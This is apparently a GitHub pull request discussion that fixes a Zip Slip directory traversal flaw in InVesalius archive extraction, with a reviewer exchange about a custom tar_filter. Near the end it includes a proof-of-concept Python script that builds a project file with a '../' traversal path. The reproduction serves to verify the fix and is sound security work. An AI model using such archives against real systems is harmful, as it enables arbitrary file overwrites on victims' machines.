FIX: Zip slip directory traversal vulnerability in file handling functions

[Unichronic]

This fixes issue #882

The "Zip Slip" vulnerability occurs when an application extracts files from an archive without validating their paths, allowing attackers to overwrite arbitrary files on the system.

To fix this I checked the following:

• Stripping directory traversal sequences (e.g., ../) from the filenames.
• Refusing to extract files with absolute paths.

I added method to Sanitize the paths before use in Compress and Extract functions. It ensures ensures that any unexpected directory traversal attempts (such as ../) or adding files to unwanted locations are handled correctly.

Please review this PR @tfmoraes @paulojamorim @paulojamorim @henrikkauppi @rmatsuda

[tfmoraes]

I think here it's better to use a try except:

try:
    self.conf = dict(self.session.GetConfig("mep_configuration"))
except TypeError:
     self.conf = {}

[Unichronic]

Sure thing! I will make the changes but this change was actually part of another PR #873 as I branched from that PR branch instead of branching from the master, so I the changes in #873 itself? @tfmoraes

[tfmoraes]

So it's better to remove this from this PR and make the change in #837 PR

[tfmoraes]

We are using tar_filter for avoid this type of problem. But it only works for python >= 3.12. Can you implement our own tar_filter if tar_filter is None.

[Unichronic]

@tfmoraes Can you please review if this is the custom tar_filter you meant? It implements the custom filter if getattr(tarfile, "tar_filter", custom_tar_filter) returns None

[tfmoraes]

Yes that is the idea. I didn't tested yet. Also, I think it's better to put custom_tar_filter as normal function, not inside a function.

[Unichronic]

Wouldn't keeping the custom_tar_filter within the scope of Extract() be cleaner? Unless and until it's reused for other stuff in the future

[Unichronic]

@tfmoraes I have added put custom_tar_filter as a normal function outside Extract(). Also added a an ErrorMessageBox popup on directory traversal detection. I have also run test on the code to verify its working fine.
I am attaching the python scripts to reproduce a directory traversal attempt:

import os
import tarfile
import shutil

def create_zip_slip(original_tar_path, output_tar_path, malfile_name, file_cont):

    if not os.path.exists(output_tar_path):
        with tarfile.open(output_tar_path, mode='w') as tar:
            pass
        
    shutil.copy2(original_tar_path, output_tar_path)

    with tarfile.open(output_tar_path, mode='a') as tar:
        malfile_path = os.path.join("../../../../../../../../../../../../../../", malfile_name)
        
        with open(malfile_name, 'w') as f:
            f.write(file_cont)
        
        tar.add(malfile_name, arcname=malfile_path)
        
        os.remove(malfile_name)

    print(f"Zip Slip vulnerable tar file created at: {output_tar_path}")

original_tar_path = 'original.inv3'
output_tar_path = 'vulnerable.inv3'
malfile_name = 'malicious.txt'
file_cont = 'This is a malicious file!'

create_zip_slip(original_tar_path, output_tar_path, malfile_name, file_cont)

Replace "original.inv3" with any actual Invesalius project file and then try opening vulnerable.inv3